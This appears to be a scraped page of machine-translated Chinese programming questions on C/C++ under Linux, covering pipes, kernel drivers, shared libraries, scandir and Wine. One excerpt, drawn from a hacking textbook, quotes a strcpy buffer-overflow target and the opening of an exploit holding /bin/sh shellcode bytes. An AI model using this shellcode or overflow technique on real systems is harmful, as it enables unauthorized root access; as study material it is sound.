Articles of c + +

哪个系统调用返回在Linux系统连接的设备列表?

我正在写一个C / Java程序,它将显示连接到系统的设备列表。 任何在这方面的帮助,高度赞赏。

黑客攻击的技巧:debugging缓冲区溢出示例

我在读“黑客攻击的艺术”一书。 有一个堆栈缓冲区溢出的例子。 这是被攻击程序“notesearch”的一个来源: char searchstring[100]; // … if(argc > 1) strcpy(searchstring, argv[1]); // <– no length check 这里是攻击程序的来源,“exploit_notesearch”: #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the […]

如何正确接收来自pipe道的数据?

所以我写了一个使用pipe道的程序,并且执行一些算术运算。 我不知道如何debuggingpipe道和不同的stream程,但是从我所看到的,必须与我的pipe道读取数字有关。 所以我的设置到目前为止是儿童创build,并根据他们给定的操作,他们execl的不同程序,将计算pipe道中的书面价值。 我不知道在读取结果之前,是否应该在父项中写入值,然后在父项中执行等待或什么。 我不断得到Z作为我的输出。 所以这是我execl文件之一,其他文件看起来完全一样,它只是显示其相应的操作: #include <iostream> #include <fstream> #include <cstdio> #include <cstdlib> using namespace std; main(int argc, char *argv[]) { int x, y, z; while (read(0, (char *)&x, sizeof(int)) && read(3, (char *)&y, sizeof(int))) { z = x * y; if (argc > 1) cerr << "multiply: " << x << " * […]

找不到linux / modversions.h

我正在尝试安装串行设备的驱动程序,当我运行安装可执行文件时出现此错误: cc -DLINUX -c -DMODVERSIONS -DMODULE -D__KERNEL__ -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -pipe -m64 -mcmodel=kernel -I/usr/src/linux-3.8.0-27-generic/include -I/usr/src/linux-2.4/include -I/usr/src/linux/include -D__SMP__ npreal2.c npreal2.c:40:31: **fatal error: linux/modversions.h: No such file or directory** compilation terminated. search论坛后,我没有find任何解决办法。 我注意到/usr/src/linux-3.8.0-27-generic/include/config中有一个modversions.h,但不在linux文件夹中。 请帮忙!

QSystemTrayIcon并不总是显示出来

我已经写了一个小程序来在合成器(xfwm4,dcompmgr,cairo-compmgr)之间切换,以帮助处理nVidia可能遇到的video撕裂问题。 它会在系统托盘中创build一个图标,并执行其操作。 问题是,当我运行我的程序时,图标并不总是显示出来,并且在我切换到不同的合成器后,图标消失。 我已经在一个可以在这里看到的video捕获它: https : //www.youtube.com/watch?v = 31qqOiaOdfw 我正在使用:与Xfce的Manjaro Linux 64bit QtCreator v.2.8.0与Qt 5.1 有人可以帮我这个吗? compSwitcher.cpp #include "compswitcher.h" #include "ui_compswitcher.h" #include <QMenu> #include <QCloseEvent> #include <QDebug> compSwitcher::compSwitcher(QWidget *parent) : QWidget(parent), ui(new Ui::compSwitcher) { ui->setupUi(this); createActions(); createIcon(); setIcon(); qDebug() << "Before trayIcon->show()\n"; trayIcon->show(); qDebug() << "After trayIcon->show()"; } compSwitcher::~compSwitcher() { delete ui; delete trayIcon; delete […]

Linux共享库中全局variables的单个拷贝

这个问题与这个问题非常相似,但是没有提到的解决scheme是有帮助的。 假设我有一个使用本地全局variables的函数的共享库B. 这个函数是从第二个共享库C中调用的 B和C都被A使用,我期望每个都有它自己的全局variables实例,但不知何故,编译器设法将它们链接到指向相同的对象(与Windows不同)。 有人可以提出一种方法,让我有不同的全球变数的实例在A? 以下是我的代码。 运行a.out时,我希望得到 1 calling from someCFunc(): 1 但是,我得到: 1 calling from someCFunc(): 2 BH: #ifndef _B_H_ #define _B_H_ extern "C" __attribute__ ((visibility("default"))) void myFunc(); #endif b.cpp: #include "bh" #include <iostream> int myGlobal = 0; extern "C" __attribute__ ((visibility("default"))) void myFunc() { ++myGlobal; std::cout << myGlobal << "\r\n"; } CH: #ifndef […]

实现网卡的内核旁路

我的情况: 我希望网卡上收到的数据尽快到达我的应用程序。 我已经得出结论,最好的(如最低延迟)解决scheme是在我的用户空间中实现networking堆栈。 networkingstream量可以是专有协议(如果它使得networking堆栈更容易写入),因为它只是在两台本地计算机之间。 1)什么是我的networking堆栈需要实现的function的最低限度清单? 2)我需要删除/禁用当前在我的Linux中的任何networking堆栈/我将如何做到这一点? 3)我如何写驱动程序? 我认为我需要find驱动程序代码的确切位置,然后代替被调用的驱动程序/networking堆栈,而是将数据发送到我可以从应用程序访问的一块内存中。

如何实现自定义比较()为scandir()

我一直在阅读scandir(),alphasort()的手册页,显然已经塞满了他们。 但是还是无法弄清楚如何实现一个自定义的比较函数。 这是我的代码: #include <stdio.h> #include <dirent.h> #include <sys/types.h> int mySort(char*, char*); int (*fnPtr)(char*, char*); int main(){ struct dirent **entryList; fnPtr = &mySort; int count = scandir(".",&entryList,NULL,fnptr); for(count–;count>=0;count–){ printf("%s\n",entryList[count]->d_name); } return 0; } int mySort(const void* a, const void* b){ char *aNew, *bNew; if(a[0] == '.'){ *aNew = removeDot(a); } else{ aNew = a; } […]

用execvp()执行进程时加载用户环境;

我有一个守护进程正在运行,这可能会产生一个进程在传入连接。 这是使用execvp()和fork() 。 问题是,进程不应该以root身份运行,并且进程依赖于正确的用户环境。 所以即时通讯寻求一种方式来加载用户环境。 目前该进程是通过设置gid和uid作为另一个用户执行的。 我已经试过的是使用命令su -l user -c command ,由于某种原因没有工作。 有人有一个想法如何我可以加载用户环境(特别是$HOMEvariables)? 提前致谢。

linux wine Word interop application.Documents.Open打开Word文档,但不会将文档返回给客户端

由于太可怕的原因,我想能够在Wine下做MS Office Automation。 但是,下面的noddy程序没有从WinWord的实例中获取文档对象,尽pipe这个文档已经被在Wine下运行的WinWord成功地打开了。 using System; using System.Collections.Generic; using System.Text; using Microsoft.Office.Interop.Word; // This code is lifted from http://www.dotnetperls.com/word namespace WordTest { class Program { static void Main(string[] args) { if (args.Length < 1) { Console.WriteLine("Usage WordTest word.doc"); return; } String docname = args[0]; try { Application application = new Application(); Document document = application.Documents.Open(docname); […]